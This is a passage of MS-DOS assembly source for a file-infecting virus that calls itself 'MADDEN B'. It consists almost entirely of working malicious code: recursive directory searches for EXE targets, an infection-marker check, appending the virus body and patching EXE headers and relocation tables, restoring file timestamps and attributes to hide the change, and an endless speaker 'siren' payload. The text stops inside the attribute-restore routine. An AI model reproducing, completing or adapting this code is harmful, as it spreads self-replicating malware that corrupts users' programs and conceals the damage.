PGMSTR DB 'MADDENB.EXE',0
|
||||
|
||||
HOST:
|
||||
mov ax,cs ;we want DS=CS here
|
||||
mov ds,ax
|
||||
mov dx,OFFSET PGMSTR
|
||||
mov ah,41H
|
||||
int 21H ;delete this exe file
|
||||
mov ah,4CH
|
||||
mov al,0
|
||||
int 21H ;terminate normally
|
||||
HOSTSEG ENDS
|
||||
|
||||
|
||||
;Host program stack segment
|
||||
|
||||
HSTACK SEGMENT PARA STACK
|
||||
db 100H dup (?) ;100 bytes long
|
||||
HSTACK ENDS
|
||||
|
||||
;------------------------------------------------------------------------
|
||||
;This is the virus itself
|
||||
|
||||
STACKSIZE EQU 100H ;size of stack for the virus
|
||||
NUMRELS EQU 2 ;number of relocatables in the virus, which must go in the relocatable pointer table
|
||||
|
||||
;VGROUP GROUP VSEG,VSTACK ;Virus code and stack segments grouped together
|
||||
|
||||
;MADDEN Virus code segment. This gains control first, before the host. As this
|
||||
;ASM file is layed out, this program will look exactly like a simple program
|
||||
;that was infected by the virus.
|
||||
|
||||
VSEG SEGMENT PARA
|
||||
ASSUME CS:VSEG,DS:VSEG,SS:VSTACK
|
||||
|
||||
;data storage area comes before any code
|
||||
VIRUSID DW 0C8AAH ;identifies virus
|
||||
OLDDTA DD 0 ;old DTA segment and offset
|
||||
DTA1 DB 2BH dup (?) ;new disk transfer area
|
||||
DTA2 DB 56H dup (?) ;dta for directory finds (2 deep)
|
||||
EXE_HDR DB 1CH dup (?) ;buffer for EXE file header
|
||||
EXEFILE DB '\*.EXE',0 ;search string for an exe file
|
||||
ALLFILE DB '\*.*',0 ;search string for any file
|
||||
USEFILE DB 78 dup (?) ;area to put valid file path
|
||||
LEVEL DB 0 ;depth to search directories for a file
|
||||
HANDLE DW 0 ;file handle
|
||||
FATTR DB 0 ;old file attribute storage area
|
||||
FTIME DW 0 ;old file time stamp storage area
|
||||
FDATE DW 0 ;old file date stamp storage area
|
||||
FSIZE DD 0 ;file size storage area
|
||||
VIDC DW 0 ;storage area to put VIRUSID from new host .EXE in, to check if virus already there
|
||||
VCODE DB 1 ;identifies this version
|
||||
COUNT1 DW 8 ;delay counts used by 'siren' routine
|
||||
COUNT2 DW 3
|
||||
COUNT3 DW 20
|
||||
COUNT4 DW 10
|
||||
;--------------------------------------------------------------------------
|
||||
;MADDEN B virus main routine starts here
|
||||
VIRUS:
|
||||
push ax ;save startup info in ax
|
||||
mov ax,cs
|
||||
mov ds,ax ;set up DS=CS for the virus
|
||||
mov ax,es ;get PSP Seg
|
||||
mov WORD PTR [OLDDTA+2],ax ;set up default DTA Seg=PSP Seg in case of abort without getting it
|
||||
call SHOULDRUN ;run only when certain conditions met signalled by z set
|
||||
jnz REL1 ;conditions aren't met, go execute host program
|
||||
call SETSR ;modify SHOULDRUN procedure to activate conditions
|
||||
call NEW_DTA ;set up a new DTA location
|
||||
call FIND_FILE ;get an exe file to attack
|
||||
jnz SIREN ;returned nz - no valid files left, siren time!
|
||||
call SAVE_ATTRIBUTE ;save the file attributes and leave file opened in r/w mode
|
||||
call INFECT ;move program code to file we found to attack
|
||||
call REST_ATTRIBUTE ;restore the original file attributes and close the file
|
||||
FINISH: call RESTORE_DTA ;restore the DTA to its original value at startup
|
||||
pop ax ;restore startup value of ax
|
||||
REL1: ;relocatable marker for host stack segment
|
||||
mov bx,HSTACK ;set up host program stack segment (ax=segment)
|
||||
cli ;interrupts off while changing stack
|
||||
mov ss,bx
|
||||
REL1A: ;marker for host stack pointer
|
||||
mov sp,OFFSET HSTACK
|
||||
mov es,WORD PTR [OLDDTA+2] ;set up ES correctly
|
||||
mov ds,WORD PTR [OLDDTA+2] ;and DS
|
||||
sti ;interrupts back on
|
||||
REL2: ;relocatable marker for host code segment
|
||||
jmp FAR PTR HOST ;begin execution of host program
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;First Level - Find a file which passes FILE_OK
|
||||
;
|
||||
;This routine does a complex directory search to find an EXE file in the
|
||||
;current directory, one of its subdirectories, or the root directory or one
|
||||
;of its subdirectories, to find a file for which FILE_OK returns with C reset.
|
||||
;If you want to change the depth of the search, make sure to allocate enough
|
||||
;room at DTA2. This variable needs to have 2BH * LEVEL bytes in it to work,
|
||||
;since the recursive FINDBR uses a different DTA area for the search (see DOS
|
||||
;functions 4EH and 4FH) on each level.
|
||||
;
|
||||
FIND_FILE:
|
||||
mov al,'\' ;set up current directory path in USEFILE
|
||||
mov BYTE PTR [USEFILE],al
|
||||
mov si,OFFSET USEFILE+1
|
||||
xor dl,dl
|
||||
mov ah,47H
|
||||
int 21H ;get current dir, USEFILE= \dir
|
||||
cmp BYTE PTR [USEFILE+1],0 ;see if it is null. If so, its the root
|
||||
jnz FF2 ;not the root
|
||||
xor al,al ;make correction for root directory,
|
||||
mov BYTE PTR [USEFILE],al ;by setting USEFILE = ''
|
||||
FF2: mov al,2
|
||||
mov [LEVEL],al ;search 2 subdirs deep
|
||||
call FINDBR ;attempt to locate a valid file
|
||||
jz FF3 ;found one - exit
|
||||
xor al,al ;nope - try the root directory
|
||||
mov BYTE PTR [USEFILE],al ;by setting USEFILE= ''
|
||||
inc al ;al=1
|
||||
mov [LEVEL],al ;search one subdir deep
|
||||
call FINDBR ;attempt to find file
|
||||
FF3:
|
||||
ret ;exit with z flag set by FINDBR to indicate success/failure
|
||||
|
||||
;***************************************************************************
|
||||
;This routine enables MADDEN B virus to sound a siren
|
||||
;when it can't find a file to infect
|
||||
;**************************************************************************
|
||||
SIREN:
|
||||
cli ;no interrupts
|
||||
mov bp,15 ;we want to do hole thing 15 times
|
||||
mov al,10110110xb ;set up channel 2
|
||||
out 43h,al ;send it to port
|
||||
AGIN: mov bx,500 ;start frequency high
|
||||
BACKERX:mov ax,bx ;place it in (ax)
|
||||
out 42h,al ;send LSB first
|
||||
mov al,ah ;move MSB into al
|
||||
out 42h,al ;send it next
|
||||
in al,61h ;get value from port
|
||||
or al,00000011xb ;ORing it will turn on speaker
|
||||
out 61h,al ;send number
|
||||
mov cx,COUNT1 ;number of delay loops
|
||||
LOOPERX:loop LOOPERX ;so we can hear sound
|
||||
inc bx ;increment (bx) lowers frequency pitch
|
||||
cmp bx,4000 ;have we reached 4000
|
||||
jnz BACKERX ;if not do again
|
||||
BACKERY:mov ax,bx ;if not put (bx) in (ax)
|
||||
out 42h,al ;send LSB to port
|
||||
mov al,ah ;place MSB in al
|
||||
out 42h,al ;send it now
|
||||
in al,61h ;get value from port
|
||||
or al,00000011xb ;lets OR it
|
||||
out 61h,al ;time to turn on speaker
|
||||
mov cx,COUNT2 ;loop count
|
||||
LOOPERY:loop LOOPERY ;delay so we can hear sound
|
||||
dec bx ;decrementing (bx) rises frequency pitch
|
||||
cmp bx,500 ;have we reach 500
|
||||
jnz BACKERY ;if not go back
|
||||
mov si,COUNT3 ;place longer delay in (si)
|
||||
mov di,COUNT4 ;place longer delay in (di)
|
||||
push si ;push it on the stack
|
||||
push di ;push it on the stack
|
||||
mov si,COUNT1 ;place first delay in (si)
|
||||
mov di,COUNT2 ;place second delay in (di)
|
||||
mov COUNT3,si ;save 1st in COUNT3 for next exchange
|
||||
mov COUNT4,di ;save 2nd in COUNT4 for next exchange
|
||||
pop di ;pop longer delay off stack
|
||||
pop si ;pop longer delay off stack
|
||||
mov COUNT2,di ;place it in the second
|
||||
mov COUNT1,si ;place it in the first
|
||||
dec bp ;decrement repeat count
|
||||
jnz AGIN ;if not = 0 do hole thing again
|
||||
in al,61h ;we be done
|
||||
and al,11111100xb ;this number will turn speaker off
|
||||
out 61h,al ;send it
|
||||
sti ;enable interrupts
|
||||
jmp SIREN
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;SEARCH FUNCTION
|
||||
;---------------------------------------------------------------------------
|
||||
;Second Level - Find in a branch
|
||||
;
|
||||
;This function searches the directory specified in USEFILE for EXE files.
|
||||
;after searching the specified directory, it searches subdirectories to the
|
||||
;depth LEVEL. If an EXE file is found for which FILE_OK returns with C reset, this
|
||||
;routine exits with Z set and leaves the file and path in USEFILE
|
||||
;
|
||||
FINDBR:
|
||||
call FINDEXE ;search current dir for EXE first
|
||||
jnc FBE3 ;found it - exit
|
||||
cmp [LEVEL],0 ;no - do we want to go another directory deeper?
|
||||
jz FBE1 ;no - exit
|
||||
dec [LEVEL] ;yes - decrement LEVEL and continue
|
||||
mov di,OFFSET USEFILE ;'\curr_dir' is here
|
||||
mov si,OFFSET ALLFILE ;'\*.*' is here
|
||||
call CONCAT ;get '\curr_dir\*.*' in USEFILE
|
||||
inc di
|
||||
push di ;store pointer to first *
|
||||
call FIRSTDIR ;get first subdirectory
|
||||
jnz FBE ;couldn't find it, so quit
|
||||
FB1: ;otherwise, check it out
|
||||
pop di ;strip \*.* off of USEFILE
|
||||
xor al,al
|
||||
stosb
|
||||
mov di,OFFSET USEFILE
|
||||
mov bx,OFFSET DTA2+1EH
|
||||
mov al,[LEVEL]
|
||||
mov dl,2BH ;compute correct DTA location for subdir name
|
||||
mul dl ;which depends on the depth we're at in the search
|
||||
add bx,ax ;bx points to directory name
|
||||
mov si,bx
|
||||
call CONCAT ;'\curr_dir\sub_dir' put in USEFILE
|
||||
push di ;save position of first letter in sub_dir name
|
||||
call FINDBR ;scan the subdirectory and its subdirectories (recursive)
|
||||
jz FBE2 ;if successful, exit
|
||||
call NEXTDIR ;get next subdirectory in this directory
|
||||
jz FB1 ;go check it if search successful
|
||||
FBE: ;else exit, NZ set, cleaned up
|
||||
inc [LEVEL] ;increment the level counter before exit
|
||||
pop di ;strip any path or file spec off of original
|
||||
xor al,al ;directory path
|
||||
stosb
|
||||
FBE1: mov al,1 ;return with NZ set
|
||||
or al,al
|
||||
ret
|
||||
|
||||
FBE2: pop di ;successful exit, pull this off the stack
|
||||
FBE3: xor al,al ;and set Z
|
||||
ret ;exit
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;Third Level - Part A - Find an EXE file
|
||||
;
|
||||
;This function searches the path in USEFILE for an EXE file which passes
|
||||
;the test FILE_OK. This routine will return the full path of the EXE file
|
||||
;in USEFILE, and the c flag reset, if it is successful. Otherwise, it will return
|
||||
;with the c flag set. It will search a whole directory before giving up.
|
||||
;
|
||||
FINDEXE:
|
||||
mov dx,OFFSET DTA1 ;set new DTA for EXE search
|
||||
mov ah,1AH
|
||||
int 21H
|
||||
mov di,OFFSET USEFILE
|
||||
mov si,OFFSET EXEFILE
|
||||
call CONCAT ;set up USEFILE with '\dir\*.EXE'
|
||||
push di ;save position of '\' before '*.EXE'
|
||||
mov dx,OFFSET USEFILE
|
||||
mov cx,3FH ;search first for any file
|
||||
mov ah,4EH
|
||||
int 21H
|
||||
NEXTEXE:
|
||||
or al,al ;is DOS return OK?
|
||||
jnz FEC ;no - quit with C set
|
||||
pop di
|
||||
inc di
|
||||
stosb ;truncate '\dir\*.EXE' to '\dir\'
|
||||
mov di,OFFSET USEFILE
|
||||
mov si,OFFSET DTA1+1EH
|
||||
call CONCAT ;setup file name '\dir\filename.exe'
|
||||
dec di
|
||||
push di
|
||||
call FILE_OK ;yes - is this a good file to use?
|
||||
jnc FENC ;yes - valid file found - exit with c reset
|
||||
mov ah,4FH
|
||||
int 21H ;do find next
|
||||
jmp SHORT NEXTEXE ;and go test it for validity
|
||||
|
||||
FEC: ;no valid file found, return with C set
|
||||
pop di
|
||||
mov BYTE PTR [di],0 ;truncate \dir\filename.exe to \dir
|
||||
stc
|
||||
ret
|
||||
FENC: ;valid file found, return with NC
|
||||
pop di
|
||||
ret
|
||||
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;Third Level - Part B - Find a subdirectory
|
||||
;
|
||||
;This function searches the file path in USEFILE for subdirectories, excluding
|
||||
;the subdirectory header entries. If one is found, it returns with Z set, and
|
||||
;if not, it returns with NZ set.
|
||||
;There are two entry points here, FIRSTDIR, which does the search first, and
|
||||
;NEXTDIR, which does the search next.
|
||||
;
|
||||
FIRSTDIR:
|
||||
call GET_DTA ;get proper DTA address in dx (calculated from LEVEL)
|
||||
push dx ;save it
|
||||
mov ah,1AH ;set DTA
|
||||
int 21H
|
||||
mov dx,OFFSET USEFILE
|
||||
mov cx,10H ;search for a directory
|
||||
mov ah,4EH ;do search first function
|
||||
int 21H
|
||||
NEXTD1:
|
||||
pop bx ;get pointer to search table (DTA)
|
||||
or al,al ;successful search?
|
||||
jnz NEXTD3 ;no, quit with NZ set
|
||||
test BYTE PTR [bx+15H],10H ;is this a directory?
|
||||
jz NEXTDIR ;no, find another
|
||||
cmp BYTE PTR [bx+1EH],'.' ;is it a subdirectory header?
|
||||
jne NEXTD2 ;no - valid directory, exit, setting Z flag
|
||||
;else it was dir header entry, so fall through to next
|
||||
NEXTDIR: ;second entry point for search next
|
||||
call GET_DTA ;get proper DTA address again - may not be set up
|
||||
push dx
|
||||
mov ah,1AH ;set DTA
|
||||
int 21H
|
||||
mov ah,4FH
|
||||
int 21H ;do find next
|
||||
jmp SHORT NEXTD1 ;and loop to check the validity of the return
|
||||
|
||||
NEXTD2:
|
||||
xor al,al ;successful exit, set Z flag
|
||||
NEXTD3:
|
||||
ret ;exit routine
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;Return the DTA address associated to LEVEL in dx. This is simply given by
|
||||
;OFFSET DTA2 + (LEVEL*2BH). Each level must have a different search record
|
||||
;in its own DTA, since a search at a lower level occurs in the middle of the
|
||||
;higher level search, and we don't want the higher level being ruined by
|
||||
;corrupted data.
|
||||
;
|
||||
GET_DTA:
|
||||
mov dx,OFFSET DTA2
|
||||
mov al,2BH
|
||||
mul [LEVEL]
|
||||
add dx,ax ;return with dx= proper dta offset
|
||||
ret
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;Concatenate two strings: Add the asciiz string at DS:SI to the asciiz
|
||||
;string at ES:DI. Return ES:DI pointing to the end of the first string in the
|
||||
;destination (or the first character of the second string, after moved).
|
||||
;
|
||||
CONCAT:
|
||||
mov al,byte ptr es:[di] ;find the end of string 1
|
||||
inc di
|
||||
or al,al
|
||||
jnz CONCAT
|
||||
dec di ;di points to the null at the end
|
||||
push di ;save it to return to the caller
|
||||
CONCAT2:
|
||||
cld
|
||||
lodsb ;move second string to end of first
|
||||
stosb
|
||||
or al,al
|
||||
jnz CONCAT2
|
||||
pop di ;and restore di to point to end of string 1
|
||||
ret
|
||||
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;Function to determine whether the EXE file specified in USEFILE is useable.
|
||||
;if so return nc, else return c
|
||||
;What makes an EXE file useable?:
|
||||
; a) The signature field in the EXE header must be 'MZ'. (These
|
||||
; are the first two bytes in the file.)
|
||||
; b) The Overlay Number field in the EXE header must be zero.
|
||||
; c) There must be room in the relocatable table for NUMRELS
|
||||
; more relocatables without enlarging it.
|
||||
; d) The word VIRUSID must not appear in the 2 bytes just before
|
||||
; the initial CS:0000 of the test file. If it does, the virus
|
||||
; is probably already in that file, so we skip it.
|
||||
;
|
||||
FILE_OK:
|
||||
call GET_EXE_HEADER ;read the EXE header in USEFILE into EXE_HDR
|
||||
jc OK_END ;error in reading the file, so quit
|
||||
call CHECK_SIG_OVERLAY ;is the overlay number zero?
|
||||
jc OK_END ;no - exit with c set
|
||||
call REL_ROOM ;is there room in the relocatable table?
|
||||
jc OK_END ;no - exit
|
||||
call IS_ID_THERE ;is id at CS:0000?
|
||||
OK_END: ret ;return with c flag set properly
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;Returns c if signature in the EXE header is anything but 'MZ' or the overlay
|
||||
;number is anything but zero.
|
||||
CHECK_SIG_OVERLAY:
|
||||
mov al,'M' ;check the signature first
|
||||
mov ah,'Z'
|
||||
cmp ax,WORD PTR [EXE_HDR]
|
||||
jz CSO_1 ;jump if OK
|
||||
stc ;else set carry and exit
|
||||
ret
|
||||
CSO_1: xor ax,ax
|
||||
sub ax,WORD PTR [EXE_HDR+26];subtract the overlay number from 0
|
||||
ret ;c is set if it's anything but 0
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;This function reads the 28 byte EXE file header for the file named in USEFILE.
|
||||
;It puts the header in EXE_HDR, and returns c set if unsuccessful.
|
||||
;
|
||||
GET_EXE_HEADER:
|
||||
mov dx,OFFSET USEFILE
|
||||
mov ax,3D02H ;r/w access open file
|
||||
int 21H
|
||||
jc RE_RET ;error opening - C set - quit without closing
|
||||
mov [HANDLE],ax ;else save file handle
|
||||
mov bx,ax ;handle to bx
|
||||
mov cx,1CH ;read 28 byte EXE file header
|
||||
mov dx,OFFSET EXE_HDR ;into this buffer
|
||||
mov ah,3FH
|
||||
int 21H
|
||||
RE_RET: ret ;return with c set properly
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;This function determines if there are at least NUMRELS openings in the
|
||||
;current relocatable table in USEFILE. If there are, it returns with
|
||||
;carry reset, otherwise it returns with carry set. The computation
|
||||
;this routine does is to compare whether
|
||||
; ((Header Size * 4) + Number of Relocatables) * 4 - Start of Rel Table
|
||||
;is >= than 4 * NUMRELS. If it is, then there is enough room
|
||||
;
|
||||
REL_ROOM:
|
||||
mov ax,WORD PTR [EXE_HDR+8] ;size of header, paragraphs
|
||||
add ax,ax
|
||||
add ax,ax
|
||||
sub ax,WORD PTR [EXE_HDR+6] ;number of relocatables
|
||||
add ax,ax
|
||||
add ax,ax
|
||||
sub ax,WORD PTR [EXE_HDR+24] ;start of relocatable table
|
||||
cmp ax,4*NUMRELS ;enough room to put relocatables in?
|
||||
RR_RET: ret ;exit with carry set properly
|
||||
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;This function determines whether the word at the initial CS:0000 in USEFILE
|
||||
;is the same as VIRUSID in this program. If it is, it returns c set, otherwise
|
||||
;it returns c reset.
|
||||
;
|
||||
IS_ID_THERE:
|
||||
mov ax,WORD PTR [EXE_HDR+22] ;Initial CS
|
||||
add ax,WORD PTR [EXE_HDR+8] ;Header size
|
||||
mov dx,16
|
||||
mul dx
|
||||
mov cx,dx
|
||||
mov dx,ax ;cxdx = position to look for VIRUSID in file
|
||||
mov bx,[HANDLE]
|
||||
mov ax,4200H ;set file pointer, relative to beginning
|
||||
int 21H
|
||||
mov ah,3FH
|
||||
mov bx,[HANDLE]
|
||||
mov dx,OFFSET VIDC
|
||||
mov cx,2 ;read 2 bytes into VIDC
|
||||
int 21H
|
||||
jc II_RET ;couldn't read - bad file - report as though ID is there so we dont do any more to this file
|
||||
mov ax,[VIDC]
|
||||
cmp ax,[VIRUSID] ;is it the VIRUSID?
|
||||
clc
|
||||
jnz II_RET ;if not, then virus is not already in this file
|
||||
stc ;else it is probably there already
|
||||
II_RET: ret
|
||||
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;This routine makes sure file end is at paragraph boundary, so the virus
|
||||
;can be attached with a valid CS. Assumes file pointer is at end of file.
|
||||
SETBDY:
|
||||
mov al,BYTE PTR [FSIZE]
|
||||
and al,0FH ;see if we have a paragraph boundary (header is always even # of paragraphs)
|
||||
jz SB_E ;all set - exit
|
||||
mov cx,10H ;no - write any old bytes to even it up
|
||||
sub cl,al ;number of bytes to write in cx
|
||||
mov dx,OFFSET FINAL ;set buffer up to point to end of the code (just garbage there)
|
||||
add WORD PTR [FSIZE],cx ;update FSIZE
|
||||
adc WORD PTR [FSIZE+2],0
|
||||
mov bx,[HANDLE]
|
||||
mov ah,40H ;DOS write function
|
||||
int 21H
|
||||
SB_E: ret
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;This routine moves the virus (this program) to the end of the EXE file
|
||||
;Basically, it just copies everything here to there, and then goes and
|
||||
;adjusts the EXE file header and two relocatables in the program, so that
|
||||
;it will work in the new environment. It also makes sure the virus starts
|
||||
;on a paragraph boundary, and adds how many bytes are necessary to do that.
|
||||
;
|
||||
INFECT:
|
||||
mov cx,WORD PTR [FSIZE+2]
|
||||
mov dx,WORD PTR [FSIZE]
|
||||
mov bx,[HANDLE]
|
||||
mov ax,4200H ;set file pointer, relative to beginning
|
||||
int 21H ;go to end of file
|
||||
call SETBDY ;lengthen to a paragraph boundary if necessary
|
||||
mov cx,OFFSET FINAL ;last byte of code
|
||||
xor dx,dx ;first byte of code, DS:DX
|
||||
mov bx,[HANDLE] ;move virus code to end of file being attacked with
|
||||
mov ah,40H ;DOS write function
|
||||
int 21H
|
||||
mov dx,WORD PTR [FSIZE] ;find 1st relocatable in code (SS)
|
||||
mov cx,WORD PTR [FSIZE+2]
|
||||
mov bx,OFFSET REL1 ;it is at FSIZE+REL1+1 in the file
|
||||
inc bx
|
||||
add dx,bx
|
||||
mov bx,0
|
||||
adc cx,bx ;cx:dx is that number
|
||||
mov bx,[HANDLE]
|
||||
mov ax,4200H ;set file pointer to 1st relocatable
|
||||
int 21H
|
||||
mov dx,OFFSET EXE_HDR+14 ;get correct old SS for new program
|
||||
mov bx,[HANDLE] ;from the EXE header
|
||||
mov cx,2
|
||||
mov ah,40H ;and write it to relocatable REL1+1
|
||||
int 21H
|
||||
mov dx,WORD PTR [FSIZE]
|
||||
mov cx,WORD PTR [FSIZE+2]
|
||||
mov bx,OFFSET REL1A ;put in correct old SP from EXE header
|
||||
inc bx ;at FSIZE+REL1A+1
|
||||
add dx,bx
|
||||
mov bx,0
|
||||
adc cx,bx ;cx:dx points to FSIZE+REL1A+1
|
||||
mov bx,[HANDLE]
|
||||
mov ax,4200H ;set file pointer to place to write SP to
|
||||
int 21H
|
||||
mov dx,OFFSET EXE_HDR+16 ;get correct old SP for infected program
|
||||
mov bx,[HANDLE] ;from EXE header
|
||||
mov cx,2
|
||||
mov ah,40H ;and write it where it belongs
|
||||
int 21H
|
||||
mov dx,WORD PTR [FSIZE]
|
||||
mov cx,WORD PTR [FSIZE+2]
|
||||
mov bx,OFFSET REL2 ;put in correct old CS:IP in program
|
||||
add bx,1 ;at FSIZE+REL2+1 on disk
|
||||
add dx,bx
|
||||
mov bx,0
|
||||
adc cx,bx ;cx:dx points to FSIZE+REL2+1
|
||||
mov bx,[HANDLE]
|
||||
mov ax,4200H ;set file pointer relavtive to start of file
|
||||
int 21H
|
||||
mov dx,OFFSET EXE_HDR+20 ;get correct old CS:IP from EXE header
|
||||
mov bx,[HANDLE]
|
||||
mov cx,4
|
||||
mov ah,40H ;and write 4 bytes to FSIZE+REL2+1
|
||||
int 21H
|
||||
;done writing relocatable vectors
|
||||
;so now adjust the EXE header values
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
mov bx,[HANDLE]
|
||||
mov ax,4200H ;set file pointer to start of file
|
||||
int 21H
|
||||
mov ax,WORD PTR [FSIZE] ;calculate new initial CS (the virus' CS)
|
||||
mov cl,4 ;given by (FSIZE/16)-HEADER SIZE (in paragraphs)
|
||||
shr ax,cl
|
||||
mov bx,WORD PTR [FSIZE+2]
|
||||
and bl,0FH
|
||||
mov cl,4
|
||||
shl bl,cl
|
||||
add ah,bl
|
||||
sub ax,WORD PTR [EXE_HDR+8] ;(exe header size, in paragraphs)
|
||||
mov WORD PTR [EXE_HDR+22],ax;and save as initial CS
|
||||
mov bx,OFFSET FINAL ;compute new initial SS
|
||||
add bx,10H ;using the formula SSi=(CSi + (OFFSET FINAL+16)/16)
|
||||
mov cl,4
|
||||
shr bx,cl
|
||||
add ax,bx
|
||||
mov WORD PTR [EXE_HDR+14],ax ;and save it
|
||||
mov ax,OFFSET VIRUS ;get initial IP
|
||||
mov WORD PTR [EXE_HDR+20],ax ;and save it
|
||||
mov ax,STACKSIZE ;get initial SP
|
||||
mov WORD PTR [EXE_HDR+16],ax ;and save it
|
||||
mov dx,WORD PTR [FSIZE+2]
|
||||
mov ax,WORD PTR [FSIZE] ;calculate new file size
|
||||
mov bx,OFFSET FINAL
|
||||
add ax,bx
|
||||
xor bx,bx
|
||||
adc dx,bx ;put it in ax:dx
|
||||
add ax,200H ;and set up the new page count
|
||||
adc dx,bx ;page ct= (ax:dx+512)/512
|
||||
push ax
|
||||
mov cl,9
|
||||
shr ax,cl
|
||||
mov cl,7
|
||||
shl dx,cl
|
||||
add ax,dx
|
||||
mov WORD PTR [EXE_HDR+4],ax ;and save it here
|
||||
pop ax
|
||||
and ax,1FFH ;now calculate last page size
|
||||
mov WORD PTR [EXE_HDR+2],ax ;and put it here
|
||||
mov ax,NUMRELS ;adjust relocatables counter
|
||||
add WORD PTR [EXE_HDR+6],ax
|
||||
mov cx,1CH ;and save data at start of file
|
||||
mov dx,OFFSET EXE_HDR
|
||||
mov bx,[HANDLE]
|
||||
mov ah,40H ;DOS write function
|
||||
int 21H
|
||||
mov ax,WORD PTR [EXE_HDR+6] ;get number of relocatables in table
|
||||
dec ax ;in order to calculate location of
|
||||
dec ax ;where to add relocatables
|
||||
mov bx,4 ;Location= (No in table-2)*4+Table Offset
|
||||
mul bx
|
||||
add ax,WORD PTR [EXE_HDR+24];table offset
|
||||
mov bx,0
|
||||
adc dx,bx ;dx:ax=end of old table in file
|
||||
mov cx,dx
|
||||
mov dx,ax
|
||||
mov bx,[HANDLE]
|
||||
mov ax,4200H ;set file pointer to table end
|
||||
int 21H
|
||||
mov ax,WORD PTR [EXE_HDR+22] ;and set up 2 pointers: init CS = seg of REL1
|
||||
mov bx,OFFSET REL1
|
||||
inc bx ;offset of REL1
|
||||
mov WORD PTR [EXE_HDR],bx ;use EXE_HDR as a buffer to
|
||||
mov WORD PTR [EXE_HDR+2],ax ;save relocatables in for now
|
||||
mov ax,WORD PTR [EXE_HDR+22] ;init CS = seg of REL2
|
||||
mov bx,OFFSET REL2
|
||||
add bx,3 ;offset of REL2
|
||||
mov WORD PTR [EXE_HDR+4],bx ;write it to buffer
|
||||
mov WORD PTR [EXE_HDR+6],ax
|
||||
mov cx,8 ;and then write 8 bytes of data in file
|
||||
mov dx,OFFSET EXE_HDR
|
||||
mov bx,[HANDLE]
|
||||
mov ah,40H ;DOS write function
|
||||
int 21H
|
||||
ret ;that's it, infection is complete!
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;This routine determines whether the reproduction code should be executed.
|
||||
;If it returns Z, the reproduction code is executed, otherwise it is not.
|
||||
;Currently, it only executes if the system time variable is a multiple of
|
||||
;TIMECT. As such, the virus will reproduce only 1 out of every TIMECT+1
|
||||
;executions of the program. TIMECT should be 2^n-1
|
||||
;Note that the ret at SR1 is replaced by a NOP by SETSR whenever the program
|
||||
;is run. This makes SHOULDRUN return Z for sure the first time, so it
|
||||
;definitely runs when this loader program is run, but after that, the time must
|
||||
;be an even multiple of TIMECT+1.
|
||||
;
|
||||
TIMECT EQU 0 ;Determines how often to reproduce (1/64 here)
|
||||
;
|
||||
SHOULDRUN:
|
||||
xor ah,ah ;zero ax to start, set z flag
|
||||
SR1: ret ;this gets replaced by NOP when program runs
|
||||
int 1AH
|
||||
and dl,TIMECT ;is it an even multiple of TIMECT+1 ticks?
|
||||
ret ;return with z flag set if it is, else nz set
|
||||
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;SETSR modifies SHOULDRUN so that the full procedure gets run
|
||||
;it is redundant after the initial load
|
||||
SETSR:
|
||||
mov al,90H ;NOP code
|
||||
mov BYTE PTR SR1,al ;put it in place of RET above
|
||||
ret ;and return
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;This routine sets up the new DTA location at DTA1, and saves the location of
|
||||
;the initial DTA in the variable OLDDTA.
|
||||
NEW_DTA:
|
||||
mov ah,2FH ;get current DTA in ES:BX
|
||||
int 21H
|
||||
mov WORD PTR [OLDDTA],bx ;save it here
|
||||
mov ax,es
|
||||
mov WORD PTR [OLDDTA+2],ax
|
||||
mov ax,cs
|
||||
mov es,ax ;set up ES
|
||||
mov dx,OFFSET DTA1 ;set new DTA offset
|
||||
mov ah,1AH
|
||||
int 21H ;and tell DOS where we want it
|
||||
ret
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;This routine reverses the action of NEW_DTA and restores the DTA to its
|
||||
;original value.
|
||||
RESTORE_DTA:
|
||||
mov dx,WORD PTR [OLDDTA] ;get original DTA seg:ofs
|
||||
mov ax,WORD PTR [OLDDTA+2]
|
||||
mov ds,ax
|
||||
mov ah,1AH
|
||||
int 21H ;and tell DOS where to put it
|
||||
mov ax,cs ;restore ds before exiting
|
||||
mov ds,ax
|
||||
ret
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;This routine saves the original file attribute in FATTR, the file date and
|
||||
;time in FDATE and FTIME, and the file size in FSIZE. It also sets the
|
||||
;file attribute to read/write, and leaves the file opened in read/write
|
||||
;mode (since it has to open the file to get the date and size), with the handle
|
||||
;it was opened under in HANDLE. The file path and name is in USEFILE.
|
||||
SAVE_ATTRIBUTE:
|
||||
mov ah,43H ;get file attr
|
||||
mov al,0
|
||||
mov dx,OFFSET USEFILE
|
||||
int 21H
|
||||
mov [FATTR],cl ;save it here
|
||||
mov ah,43H ;now set file attr to r/w
|
||||
mov al,1
|
||||
mov dx,OFFSET USEFILE
|
||||
mov cl,0
|
||||
int 21H
|
||||
mov dx,OFFSET USEFILE
|
||||
mov al,2 ;now that we know it's r/w
|
||||
mov ah,3DH ;we can r/w access open file
|
||||
int 21H
|
||||
mov [HANDLE],ax ;save file handle here
|
||||
mov ah,57H ;and get the file date and time
|
||||
xor al,al
|
||||
mov bx,[HANDLE]
|
||||
int 21H
|
||||
mov [FTIME],cx ;and save it here
|
||||
mov [FDATE],dx ;and here
|
||||
mov ax,WORD PTR [DTA1+28] ;file size was set up here by
|
||||
mov WORD PTR [FSIZE+2],ax ;search routine
|
||||
mov ax,WORD PTR [DTA1+26] ;so move it to FSIZE
|
||||
mov WORD PTR [FSIZE],ax
|
||||
ret
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;Restore file attribute, and date and time of the file as they were before
|
||||
;it was infected. This also closes the file
|
||||
